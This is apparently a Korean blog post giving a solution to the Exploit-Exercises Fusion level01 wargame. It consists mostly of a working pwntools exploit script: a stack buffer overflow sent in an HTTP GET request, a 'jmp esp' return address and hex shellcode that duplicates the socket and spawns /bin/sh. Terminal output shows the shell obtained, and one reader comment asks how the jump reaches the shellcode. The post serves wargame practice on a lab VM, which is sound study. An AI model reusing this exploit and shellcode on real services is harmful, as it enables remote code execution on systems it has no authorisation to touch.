Zer0 day

[Exploit-Exercise] Fusion level01 본문

Wargames/Exploit-Exercises

[Exploit-Exercise] Fusion level01

Zero Day 2016.08.29 02:49

Fusion Level01

 - Still NX is disabled but ASLR is on.

- Now, we can't get buffer address from binary.

- All u need is 'jmp esp' gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
# dup2(0, 0) + dup2(0, 1) + dup2(0, 2) + execute /bin/sh
sc = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
 
= remote('192.168.56.136'20001)
 
jmp_esp = 0x8049f4f
 
payload = "GET "
payload += "A"*139
payload += p32(jmp_esp)
payload += sc
payload += " HTTP/1.1"
 
s.send(payload)
s.interactive()
cs

1
2
3
4
5
zero@ubuntu:~/Desktop$ python fusion.py
[+] Opening connection to 192.168.56.136 on port 20001: Done
[*] Switching to interactive mode
$ id
uid=20001 gid=20001 groups=20001
cs
저작자 표시 비영리 변경 금지
신고

'Wargames > Exploit-Exercises' 카테고리의 다른 글

[Exploit-Exercise] Fusion level02  (0) 2016.08.29
[Exploit-Exercise] Fusion level01  (1) 2016.08.29
[Exploit-Exercise] Fusion level00  (0) 2016.08.29
[Exploit-Exercise] Nubula Solutions  (0) 2015.11.25
1 Comments
  • @t 2017.03.23 22:59 신고 등록된지 좀 지난 글이지만 배우고 있는 학생이라 질문 올립니다.^^
    ret_addr에 jmp esp의 주소를 넣으면
    ret(pop eip, jmp eip)가 실행될 때
    ret의 pop eip 때문에 esp는 ret_addr+4를 가리키게 되고, ret_addr(jmp esp)이 eip에 들어가
    jmp eip로 jmp esp가 실행될텐데
    jmp esp로 ShellCode를 실행하려면 ret_addr+4에 ShellCode가 아닌 &ShellCode가 들어가야
    &ShellCode로 Jmp 하여 그 안의 shellcode가 실행될 수 있는 거 아닌가요?
    ret_addr+4에 그냥 ShellCode를 넣을경우 잘못된 주소 참조가 될 것 같아서 질문올립니다.
댓글쓰기 폼